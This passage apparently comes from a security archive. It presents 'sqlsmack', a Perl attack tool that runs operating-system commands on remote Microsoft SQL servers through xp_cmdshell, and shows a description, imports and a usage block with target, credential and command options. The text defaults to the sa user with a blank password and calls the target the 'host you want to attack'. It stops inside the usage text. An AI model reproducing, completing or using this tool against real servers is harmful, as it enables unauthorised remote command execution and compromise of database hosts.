The tool allows when provided with a valid username and password on a remote Microsoft SQL server to execute commands by piping them through the stored procedure master..xp_cmdshell.
Tool code:
#!/usr/bin/perl
###############
##
# MSSQL Access Via TCP/IP (tcp/1433) and DBI
##
use Getopt::Std;
use DBI;
use DBD::FreeTDS;
sub usage {
print STDERR qq{
*- -- ---[ sqlsmack v$VERSION - H.D. Moore <hdmoore\@digitaldefense.net>
Usage: $0 -h <host> -c 'command'
-h <host> = host you want to attack
-d <database> = the database to use (master)
-u <username> = username to use (sa)
-p <password> = password to use (blank)
-c <command> = command to execute
-q <sql query> = sql query (instead of command)
-P <port> = alternative port to use (1433)
-W = use command.com instead of cmd.exe
-v = verbose